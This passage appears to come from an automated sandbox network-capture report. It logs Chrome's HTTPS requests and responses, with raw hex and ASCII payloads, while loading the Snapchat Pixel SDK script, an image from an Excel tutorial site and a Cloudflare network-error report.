2024-04-11 21:26:50 UTC	1099	IN	Data Raw: d1 c6 75 71 0d c3 43 29 c4 54 ea 49 b9 28 3a 10 48 3a a8 73 26 1d d1 13 e0 32 3e e8 24 ce af 7e fa 99 47 a5 f0 d5 03 c9 bc a1 43 de 3c d4 ff 11 55 e2 1b cf a8 bb 2d 25 0b 18 35 e7 78 80 64 1b b5 c3 c4 a5 55 14 79 33 4d 5f 19 2d db 06 14 79 a9 ba b6 28 47 3d 8d 3b 3a d7 a9 9b ba eb 43 46 6b 69 9f 92 75 82 f4 44 59 52 da 0c 4f 9e 77 76 a0 e9 5b 60 bf fa ea 2b 73 1a 32 4e f9 87 4e 80 c4 a2 02 02 b0 24 d7 ce 13 65 f3 18 60 f8 cc 46 b6 6c 2f 00 10 60 03 1e 79 7d 9d 6f d0 4d 14 f6 60 d9 00 f4 bf 77 06 8d e0 dc 40 33 08 69 a7 f3 49 dd d6 0d 4f e1 de 62 00 34 88 65 a3 fc 2c b5 ac e1 92 58 cc c9 d3 b2 8a c9 62 a5 fe 06 dc 40 a3 b3 35 d5 9f ec 20 70 51 34 1e 5a 2a 1e b5 32 b1 27 76 91 00 90 7e e7 65 6a 72 c4 8b 2b 3c 53 bd 2c c6 f4 0a 5a 9e ad bf 0f 99 a0 65 3c 99 Data Ascii: uqC)TI(:H:s&2>$~GC<U-%5xdUy3M_-y(G=;:CFkiuDYROwv[`+s2NN$e`Fl/`y}oM`w@3iIOb4e,Xb@5 pQ4Z*2'v~ejr+<S,Ze<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.17	49927	18.238.74.246	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:50 UTC	573	OUT	GET /scevent.min.js HTTP/1.1 Host: sc-static.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://tr.snapchat.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: X-AB=38b33afdb36f494aa03f175381ce5c1b
2024-04-11 21:26:50 UTC	570	IN	HTTP/1.1 200 OK Content-Type: application/javascript;charset=utf-8 Content-Length: 45523 Connection: close Server: CloudFront Date: Thu, 11 Apr 2024 20:03:33 GMT Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Origin: * Content-Encoding: utf-8 Cache-Control: public, s-maxage=86400, max-age=600 ETag: 38b33afdb36f494aa03f175381ce5c1b X-Cache: Hit from cloudfront Via: 1.1 e774c9e3b514be02964a99136a6cdfda.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P5 X-Amz-Cf-Id: oWh-vPnqGZr_-uzkeMrOypDAsDeS4ql09wjgtpZe-2RPNJ_OcYCTbA== Age: 4997
2024-04-11 21:26:50 UTC	16384	IN	Data Raw: 2f 2a 2a 20 53 6e 61 70 63 68 61 74 20 50 69 78 65 6c 20 53 44 4b 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 6e 2c 72 3d 31 2c 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 72 3c 65 3b 72 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 6e 3d 61 72 67 75 6d 65 6e 74 73 5b 72 5d 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 69 29 26 26 28 74 5b 69 5d 3d 6e 5b 69 5d 29 3b 72 65 74 75 72 6e 20 74 7d 2c 74 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 Data Ascii: /** Snapchat Pixel SDK */!function(){"use strict";var t=function(){return t=Object.assign\|\|function(t){for(var n,r=1,e=arguments.length;r<e;r++)for(var i in n=arguments[r])Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i]);return t},t.apply(this,argu
2024-04-11 21:26:50 UTC	16384	IN	Data Raw: 7b 22 2b 72 2b 22 7d 22 7d 69 66 28 61 28 74 29 29 7b 78 72 3d 78 72 7c 7c 5b 2f 5b 5c 5c 5d 2f 67 2c 2f 5b 5c 22 5d 2f 67 2c 2f 5b 5c 6e 5d 2f 67 2c 2f 5b 5c 72 5d 2f 67 2c 2f 5b 5c 74 5d 2f 67 2c 2f 5b 5c 62 5d 2f 67 2c 2f 5b 5c 66 5d 2f 67 5d 3b 66 6f 72 28 69 3d 30 3b 69 3c 37 3b 69 2b 2b 29 74 3d 74 2e 72 65 70 6c 61 63 65 28 78 72 5b 69 5d 2c 22 5c 5c 22 2b 4e 72 5b 69 5d 29 3b 72 65 74 75 72 6e 27 22 27 2b 74 2b 27 22 27 7d 69 66 28 44 72 28 74 29 29 72 65 74 75 72 6e 22 22 2b 74 7d 63 61 74 63 68 28 74 29 7b 77 74 28 22 4a 53 53 22 2c 74 29 7d 72 65 74 75 72 6e 22 22 7d 66 75 6e 63 74 69 6f 6e 20 4c 72 28 74 29 7b 72 65 74 75 72 6e 20 6f 28 74 29 3f 5f 28 74 29 3a 63 28 74 29 3f 4f 72 28 74 29 3a 22 22 2b 74 7d 66 75 6e 63 74 69 6f 6e 20 4d 72 28 Data Ascii: {"+r+"}"}if(a(t)){xr=xr\|\|[/[\\]/g,/[\"]/g,/[\n]/g,/[\r]/g,/[\t]/g,/[\b]/g,/[\f]/g];for(i=0;i<7;i++)t=t.replace(xr[i],"\\"+Nr[i]);return'"'+t+'"'}if(Dr(t))return""+t}catch(t){wt("JSS",t)}return""}function Lr(t){return o(t)?_(t):c(t)?Or(t):""+t}function Mr(
2024-04-11 21:26:50 UTC	12004	IN	Data Raw: 73 2e 76 61 6c 75 65 26 26 71 28 79 28 73 2e 76 61 6c 75 65 29 29 3b 69 66 28 6c 29 7b 76 61 72 20 76 3d 66 28 77 69 2c 75 29 3b 69 66 28 76 29 7b 76 61 72 20 70 3d 75 2e 72 65 70 6c 61 63 65 28 22 5f 22 2c 22 5f 73 22 29 3b 6e 5b 70 5d 3d 28 6e 5b 70 5d 3f 6e 5b 70 5d 2b 22 2c 22 3a 22 22 29 2b 43 69 28 6c 29 7d 69 66 28 76 7c 7c 66 28 44 69 2c 75 29 29 69 66 28 22 75 5f 70 6e 73 22 3d 3d 3d 75 29 66 6f 72 28 76 61 72 20 64 3d 22 75 5f 68 70 6e 73 22 2c 5f 3d 48 65 28 6c 2c 50 69 3d 50 69 7c 7c 2f 5e 30 2b 7c 5c 44 2f 67 2c 49 69 7c 7c 5b 22 31 22 5d 29 2c 68 3d 44 28 5f 29 2c 67 3d 30 3b 67 3c 68 3b 67 2b 2b 29 6e 5b 64 5d 3d 28 6e 5b 64 5d 3f 6e 5b 64 5d 2b 22 2c 22 3a 22 22 29 2b 5f 5b 67 5d 3b 65 6c 73 65 20 6e 5b 64 3d 75 2e 72 65 70 6c 61 63 65 28 Data Ascii: s.value&&q(y(s.value));if(l){var v=f(wi,u);if(v){var p=u.replace("_","_s");n[p]=(n[p]?n[p]+",":"")+Ci(l)}if(v\|\|f(Di,u))if("u_pns"===u)for(var d="u_hpns",_=He(l,Pi=Pi\|\|/^0+\|\D/g,Ii\|\|["1"]),h=D(_),g=0;g<h;g++)n[d]=(n[d]?n[d]+",":"")+_[g];else n[d=u.replace(
2024-04-11 21:26:50 UTC	751	IN	Data Raw: 48 69 67 68 45 6e 74 72 6f 70 79 56 61 6c 75 65 73 3f 54 6f 2e 67 65 74 48 69 67 68 45 6e 74 72 6f 70 79 56 61 6c 75 65 73 28 45 6f 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 29 66 6f 72 28 76 61 72 20 6e 3d 44 28 45 6f 29 2c 72 3d 30 3b 72 3c 6e 3b 72 2b 2b 29 7b 76 61 72 20 65 3d 74 5b 45 6f 5b 72 5d 5d 3b 65 26 26 28 54 65 5b 72 5d 3d 31 3d 3d 3d 72 3f 4f 72 28 65 29 3a 65 29 7d 62 6f 28 29 7d 29 29 2e 63 61 74 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 77 74 28 22 55 41 43 22 2c 74 29 2c 62 6f 28 29 7d 29 29 3a 62 6f 28 29 7d 63 61 74 63 68 28 74 29 7b 77 74 28 22 55 41 48 55 41 22 2c 74 29 2c 62 6f 28 29 7d 76 61 72 20 43 6f 3d 22 5f 73 63 5f 63 73 70 76 22 2c 41 6f 3d 46 72 28 6c 2b 70 2b 4a 72 28 76 29 2b 22 7c 22 Data Ascii: HighEntropyValues?To.getHighEntropyValues(Eo).then((function(t){if(t)for(var n=D(Eo),r=0;r<n;r++){var e=t[Eo[r]];e&&(Te[r]=1===r?Or(e):e)}bo()})).catch((function(t){wt("UAC",t),bo()})):bo()}catch(t){wt("UAHUA",t),bo()}var Co="_sc_cspv",Ao=Fr(l+p+Jr(v)+"\|"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.17	49928	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:50 UTC	1294	OUT	GET /wp-content/uploads/How-to-Make-Every-Other-Line-Shaded-in-Excel-480x260.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
2024-04-11 21:26:50 UTC	903	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:50 GMT Content-Type: image/png Content-Length: 77650 Connection: close CF-Ray: 872e0ea53dfe0f8c-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "660a7c7a-12f52" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Mon, 01 Apr 2024 09:20:58 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WgHFgrCu9lkmeQQonp%2BNxKBHETSN5XY0uf1eztUmeFg99AwLYRmSdv7vLnwET2BKwPHijZNg2%2Bl1ZBi6PxHkIfBYffW6394oRlSTUg1v387j73CWGM9uRtciy4w506rohto%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 e0 00 00 01 04 08 06 00 00 00 f0 01 e7 01 00 00 80 00 49 44 41 54 78 da ec fd 77 98 24 e7 7d df 8b 7e 2a 74 ce 3d 3d 3d 39 e7 cd 11 8b 05 b0 44 26 09 30 08 22 48 31 28 58 c9 41 96 8f 6c c9 b2 7c 2c 9f 73 7c ae 7d 25 d9 96 ed 7b 65 fb 5a c7 96 44 05 8a 94 28 e6 04 90 00 01 90 00 76 17 58 00 8b 8d 33 3b 3b 39 cf 74 4f e7 dc 5d e1 fe d1 dd 35 3d bb b3 09 dc 59 60 c9 fe 3e cf 3c 58 f4 54 57 bd f5 56 cd fb 7d 7f e9 fb 13 84 5f dd a5 53 81 2c 4a 1c ea de 45 c0 e9 e5 e5 89 b7 48 e6 d2 d4 51 47 1d 75 d4 51 47 1d b7 1f 42 2d 01 df 6d 10 05 01 51 10 51 35 15 bd fe 2c eb a8 a3 8e 3a ea b8 9b 38 ec 6e 1d b8 55 36 f3 cb 0f 7c 8c ff cf 27 ff 25 ed be e6 fa 93 ac a3 8e 3a ea a8 e3 ae 82 fc 5e 1b 90 cd 64 61 b8 a5 Data Ascii: PNGIHDRIDATxw$}~*t===9D&0"H1(XAl\|,s\|}%{eZD(vX3;;9tO]5=Y`><XTWV}_S,JEHQGuQGB-mQQ5,:8nU6\|'%:^da
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: ba 73 ba 8e 3a 01 df d2 ae 58 92 71 5a ec a4 0b d9 7a d2 56 1d 75 fc 98 c2 69 b6 63 97 ad 06 91 42 59 37 c0 65 b6 63 95 cd 14 d5 12 05 b5 44 49 2b 21 0a 22 a2 20 62 91 4c d8 64 eb 55 f2 b3 82 20 20 21 20 c9 66 f4 8a 05 ec 32 db c9 94 f2 a4 8b 59 4a 5a 3d 4e 5c 47 9d 80 6f 8a 7c 7f f9 81 8f f1 f1 83 8f f3 77 6f 7c 97 3f 3f f1 0d 94 3a 09 d7 51 c7 8f 91 e5 2b e0 30 db f0 5a dc 5b ea b8 0b 82 80 59 32 61 96 4c 38 74 bd 42 9c e5 4a 8b ea ef af 7b fe ca ef 25 41 c2 65 b6 63 37 59 29 aa 25 e3 a7 5a 06 59 d2 4a e8 ba 8e 24 4a e8 3a a8 f5 18 72 1d 3f ae 04 6c 35 59 38 36 70 00 a7 d5 c1 0b a3 af 91 cc 6f 2d a2 61 96 4d 7c 64 ef 43 3c 32 7c 84 64 2e cd 17 4e 3d 53 27 e0 3a ea f8 71 59 50 44 09 b7 d9 81 d3 6c bf a9 4e 66 e5 12 c7 77 de 6c 45 10 04 64 41 42 16 25 6c Data Ascii: s:XqZzVuicBY7ecDI+!" bLdU ! f2YJZ=N\Go\|wo\|??:Q+0Z[Y2aL8tBJ{%Aec7Y)%ZYJ$J:r?l5Y86po-aM\|dC<2\|d.N=S':qYPDlNfwlEdAB%l
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 49 32 26 51 46 16 cb 02 1f d7 9a ab ea 86 46 10 04 63 be ea 79 34 75 6c ab 05 2c 89 22 bf 74 ff 53 fc f2 03 3f cd 77 ce bd cc 7f f8 ee 9f 91 2f d5 a5 df ea a8 e3 4e c3 2a 5b 70 5b 1d 28 aa b2 e5 b2 2f 08 02 92 20 61 17 a5 1f e9 3a ba ae 53 50 ca 7f e3 97 56 66 18 5f 99 45 96 24 24 51 c4 6d 73 92 ce 67 09 a5 a2 bc 39 7d e1 b6 ae 05 cd de 00 25 4d 21 5d c8 02 e0 b5 b9 d8 df 35 c2 e5 d5 b9 ab 88 70 a8 a5 9b 42 a9 c8 ec fa f2 1d 23 c1 32 79 8b 78 2d 2e dc 66 87 e1 c6 2e 37 a0 28 52 50 eb 55 25 75 dc 24 01 db 4c 16 3e b8 eb 01 9a 3c 0d 7c ed f4 0b ac 25 23 d7 30 a7 25 8e f6 ed e3 40 e7 0e 62 d9 14 16 d9 5c 27 e0 3a ea 78 17 f0 e8 c8 11 3e b4 f3 18 33 eb 4b cc ac 2f b1 14 0b 11 cb 26 49 17 b2 e5 aa 86 6d 52 a0 d3 d1 29 a9 0a 25 15 f2 a5 28 a1 64 f4 f6 93 1b 02 Data Ascii: I2&QFFcy4ul,"tS?w/N*[p[(/ a:SPVf_E$$Qmsg9}%M!]5pB#2yx-.f.7(RPU%u$L><\|%#0%@b\':x>3K/&ImR)%(d
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 47 4f f2 c4 de f7 d1 e8 f2 6f e9 4d 14 04 01 ab 6c a1 51 32 91 2c 66 48 15 32 75 a3 e8 27 81 80 eb 53 50 47 1d 3f 5e 70 5b 1d 58 64 f3 66 82 d2 34 2e 5e bc 48 32 99 c4 66 b3 e1 70 38 70 b9 5c b8 5c 2e ec 76 3b 66 b3 19 51 14 0d 32 b8 59 52 16 04 01 9b d9 8a cd 6c a5 d1 e5 63 67 6b 1f aa a6 91 57 0a 24 73 19 56 13 eb cc 47 57 98 0a 2d 30 13 29 97 43 45 d2 71 32 c5 dc 35 6b 94 6f 9f a5 5c de 1c 38 2c 65 c1 91 2f 9d fa 1e 53 e1 05 44 41 a0 50 2a de f6 6b 3b 2d 76 6c 66 2b f9 62 61 93 5b 5e d7 75 66 23 2b 14 4a c5 eb ce ad 20 08 c8 82 84 c7 ec 44 d1 14 b2 a5 7a cf e2 3a 01 d7 51 47 1d 77 15 02 4e 2f 36 b3 65 d3 67 a5 52 89 7c 3e cf fe fd fb 91 65 99 78 3c 4e 24 12 e1 fc f9 f3 b8 5c 2e 83 94 dd 6e b7 f1 53 25 e4 9b 45 95 5c 64 49 c2 29 d9 71 5a ec b4 7a 1b d9 Data Ascii: GOoMlQ2,fH2u'SPG?^p[Xdf4.^H2fp8p\\.v;fQ2YRlcgkW$sVGW-0)CEq25ko\8,e/SDAP*k;-vlf+ba[^uf#+J Dz:QGwN/6egR\|>ex<N$\.nS%E\dI)qZz
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 45 36 e3 b3 bb 19 6c ea e2 7d 83 07 29 2a 25 a3 1c aa 6c 29 2f 56 84 43 d6 08 25 a3 a4 0b 39 8a ca f6 c6 3a f3 a5 02 2f 8e 9d 62 47 6b 1f 6e 9b 93 b7 e7 c6 48 e6 d2 b7 ec 0d f0 3b dd 98 65 13 e1 64 14 ab c9 c2 83 c3 87 d8 d3 31 c8 64 68 81 e1 d6 3e 14 4d c3 24 c9 95 fb ef e6 fc fc 04 b2 28 13 74 f8 b1 59 ac 46 ec fc 56 af 6b 97 ad 88 76 91 64 21 4d 5e 29 18 33 25 0a 82 c1 0b b2 28 63 16 e5 6d 21 ea ea 46 a1 7a 4d 10 30 8b 32 36 d9 82 a6 6b 68 e8 68 ba 8e 45 32 61 12 65 74 c0 2c c9 88 82 78 d5 46 48 16 25 6c b2 a5 ec 7a 57 8a 64 2b 44 2c 89 62 b9 cf 73 a5 77 b4 a6 eb ef 9a a5 2c 47 d2 71 ce 2e 8e a3 6a 1a d3 e1 45 ae 57 3f 1f 49 c7 eb 2b 5c 1d 75 bc 47 21 89 22 7b da 06 b7 b4 70 c6 97 12 7c e5 e4 02 f9 62 89 46 97 89 cb ab 19 ba 83 02 7e a7 99 44 22 c1 1b Data Ascii: E6l})*%l)/VC%9:/bGknH;ed1dh>M$(tYFVkvd!M^)3%(cm!FzM026khhE2aet,xFH%lzWd+D,bsw,Gq.jEW?I+\uG!"{p\|bF~D"
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: e1 9e dd 28 aa 42 ae 94 27 96 49 b1 52 ed 0e b5 be c8 cc fa 12 ab d5 96 8d a5 c2 1d 4b ee 89 a4 13 fc e0 d2 1b 86 ab d7 6e b1 22 20 d0 ee 6f a6 a0 14 29 94 8a e5 ae 76 76 37 6b c9 08 b9 62 9e 06 a7 97 c5 d8 2a e9 7c a6 52 96 a6 73 a8 67 27 6d be 20 cb f1 10 4d 9e 00 4e 8b 9d 58 26 c1 3d bd bb b1 5b 6c 9c 9e 1d e5 50 cf 4e 5e bd fc 36 c9 5c 1a b7 cd 41 7f 53 e7 0d 5d d7 b5 10 05 11 bb 6c c5 2e 5b 6f 8b f5 7a 27 50 4d 40 cb 29 85 3b ea 05 ae 13 70 1d 75 fc 98 60 6f fb d0 55 f1 df 42 a1 c0 eb af bf 8e 20 08 38 1c 0e 9c 4e 27 79 93 07 51 2f 61 b5 5a 11 45 91 81 81 7e d6 56 d7 48 25 16 48 ad 15 29 69 90 4b c6 c8 b9 bc 65 72 32 5b 40 d7 11 74 05 97 cb 75 73 8b b0 28 e2 f5 7a f1 7a bd e8 ba 8e a2 28 e4 72 39 f2 f9 3c 99 4c c6 28 87 ca 66 32 b8 4a 59 d4 a9 0b 28 Data Ascii: (B'IRKn" o)vv7kb*\|Rsg'm MNX&=[lPN^6\AS]l.[oz'PM@);pu`oUB 8N'yQ/aZE~VH%H)iKer2[@tus(zz(r9<L(f2JY(
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 63 32 b4 c0 37 df 7e 89 99 f5 25 24 51 e4 be fe 7d 78 ec 2e be fc c6 73 8c b4 f6 22 08 02 d3 e1 45 ac b2 99 4c 21 47 32 9f 31 9a 55 bc 97 60 16 4d 04 6c 5e 8a 5a b9 c4 aa a4 2a 14 b5 d2 b6 c5 fa eb 04 5c 47 1d 3f 06 18 08 76 e2 b1 3a 37 7d 56 15 d8 b0 5a ad cc cc cc 50 28 94 b3 52 43 a1 10 9d 9d 9d ac ac ac e0 72 b9 30 99 4c a4 d3 69 1a 1a 1a b6 65 6c aa aa 92 48 24 90 5c 36 0a b9 0c b2 a9 ac 3f ac aa 0a 0e 77 03 f1 92 19 a1 fb 20 7e c9 44 e6 7b 7f 43 ee cc 09 d4 64 ac ec 14 b4 da 30 b7 f7 20 f8 82 08 76 d7 35 89 af 3a 76 5d d7 59 5d 5d 25 9f cf d3 d3 d3 43 7b 7b 3b 16 8b 85 42 3e 8f ae eb 86 f0 47 3a 9d e6 e5 97 5f a6 50 28 d0 dc dc 4c 6b 6b 2b 4d 4d 4d d8 6c b6 db 1e bf 14 05 11 ab c9 82 d5 64 a1 c1 e9 65 47 6b 1f ea c8 11 0a a5 22 c9 7c 86 b5 c4 3a 73 Data Ascii: c27~%$Q}x.s"EL!G21U`Ml^Z*\G?v:7}VZP(RCr0LielH$\6?w ~D{Cd0 v5:v]Y]]%C{{;B>G:_P(Lkk+MMMldeGk"\|:s
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: cb c8 50 bf bd 1b 11 9d c2 6d b4 ca eb 04 5c 47 1d 77 39 7a 02 ed 34 38 bc 57 7d de d0 d0 c0 d1 a3 47 c9 e5 72 a4 d3 69 12 89 04 f1 78 9c 7c 3e cf f1 e3 c7 0d 52 5e 5f 5f 7f c7 e5 39 57 22 9f cf 23 cb 32 87 0e 1d c2 62 b1 90 cf e7 59 5f 5f e7 cd 37 df 44 d7 75 42 a1 10 8a a2 d0 d3 d5 89 3b b2 44 f6 f8 77 41 53 71 1c 7d 1c db bd 8f 63 f2 f8 40 d7 b0 1f 7e 98 f4 0f be 49 61 7a 0c 7b a0 c5 70 41 5f 8f 4c 35 4d 27 12 89 90 4c 26 f1 f9 7c f8 fd fe 1b 5a cb eb eb eb 1c 3c 78 90 48 24 c2 57 bf fa 55 40 40 d3 54 42 e1 30 f1 78 9c a3 f7 de 4b 32 99 24 1a 8d f2 ea ab af f2 b1 8f 7d 0c 9f cf f7 ae d4 b9 56 2d 31 b3 5c 6e d9 e8 b5 bb e8 0e b4 71 5f 5f b9 1c 2a 5b c8 13 cd 24 58 8a 87 ca ae eb 50 b9 65 63 28 55 ae 51 2e dc 81 ee 50 66 d9 c4 fd 03 fb d9 df 39 c2 f9 c5 Data Ascii: Pm\Gw9z48W}Grix\|>R^__9W"#2bY__7DuB;DwASq}c@~Iaz{pA_L5M'L&\|Z<xH$WU@@TB0xK2$}V-1\nq__*[$XPec(UQ.Pf9
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: fe 26 4b f1 10 92 28 11 49 c5 58 89 87 59 8c ae b1 b3 b5 8f 43 3d bb b0 5b ac 2c 46 57 f9 ee f9 e3 9b 1a 5f 88 95 77 6a 67 5b 3f 0f 0e 1f e2 af 4f 7e 9b c5 68 f9 f7 25 ed f6 66 a0 d7 09 b8 8e 3a ee 62 b4 fb 9a 68 f5 36 be 27 c6 52 55 cd 6a 69 69 c1 ef f7 d3 d4 d4 44 b1 58 24 93 c9 d0 d7 d7 87 d9 6c 26 99 4c b2 b6 b6 c6 c2 c2 02 47 8f 1e bd 2e 61 e8 a2 84 65 60 f7 26 37 b2 ae aa 5c fc e2 17 59 7d eb 2d fc 83 83 f8 07 06 f0 74 75 61 6f 68 c0 e4 74 62 b5 58 b0 5a ad 86 c0 c8 f5 60 36 9b 8d 38 b1 d7 eb e5 e9 a7 9f 26 93 c9 90 4a a5 58 5f 5f c7 e7 f3 31 3b 3b cb ca ea 2a a5 52 c9 88 a1 07 83 41 a3 f6 f8 83 1f fc 20 4e a7 d3 b0 f0 6f 2b 31 e9 3a 53 53 53 2c 2d 2d e1 76 bb 71 3a 9d b8 dd 6e 1c 0e 07 36 9b ed b6 90 b2 2c 48 c8 95 3e ca cd 9e 00 3b 5b fb d0 75 9d Data Ascii: &K(IXYC=[,FW_wjg[?O~h%f:bh6'RUjiiDX$l&LG.ae`&7\Y}-tuaohtbXZ`68&JX__1;;*RA No+1:SSS,--vq:n6,H>;[u
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 66 b3 64 b3 59 dc 6e 37 df fe f6 b7 b1 58 2c 98 cd 66 86 87 87 69 6d 6d 35 9a d6 57 2d a2 ed 52 75 aa 66 3b db 6c 36 1a 1b 1b 8d ce 4a 85 42 81 6c 36 6b a8 4e dd d2 c2 aa eb 44 27 27 51 55 15 2d d8 4e 4f 8b 8f 87 77 35 32 bb b0 84 dd 1d 60 7c 66 19 4d ee 63 69 2d 8a 38 7c 0c 35 9f c5 5a 4c e3 4c 47 70 25 56 28 2d ce 92 99 9b 63 fd b9 e7 50 be f4 25 24 59 c6 e6 f7 e3 eb ed c5 3f 30 40 60 64 04 6f 4f 0f ce d6 56 2c 2e 17 b2 d5 6a 28 70 dd 69 f2 ad 26 b4 99 cd 66 12 c9 04 d1 68 04 41 10 28 95 4a 94 14 85 44 32 81 cd 66 47 96 65 4a a5 12 56 9b 95 c6 c6 72 2f 65 bd b3 83 78 3c ce ea ca 2a c1 60 13 a9 54 92 44 22 c1 c2 c2 02 0e 87 9d 03 07 0e 5c 77 f3 53 52 14 d0 75 e4 5b dc 20 19 6a 5e 36 19 b7 cd 41 57 43 0b 47 7a 76 53 d2 14 32 85 1c d1 4c 82 85 e8 1a 73 91 Data Ascii: fdYn7X,fimm5W-Ruf;l6JBl6kND''QU-NOw52`\|fMci-8\|5ZLLGp%V(-cP%$Y?0@`doOV,.j(pi&fhA(JD2fGeJVr/ex<*`TD"\wSRu[ j^6AWCGzvS2Ls

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.17	49929	35.190.80.1	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:50 UTC	482	OUT	POST /report/v4?s=0jsk9y6j9jpUphVcZ0a%2BhKxpb7DRP9iKiF183vAJPiMK4uc6YQ3KdKcX9RdKNHID5rR4MXL4WgJt%2FsfLMy%2Fy0LoIQFauGGnGUiUr5%2FPB3G945cDKoyoKh87uTjV%2FeY4NkmU%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 410 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:50 UTC	410	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 38 35 38 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 36 32 2e 31 35 39 2e 31 33 35 2e 34 32 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 30 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 65 61 72 6e 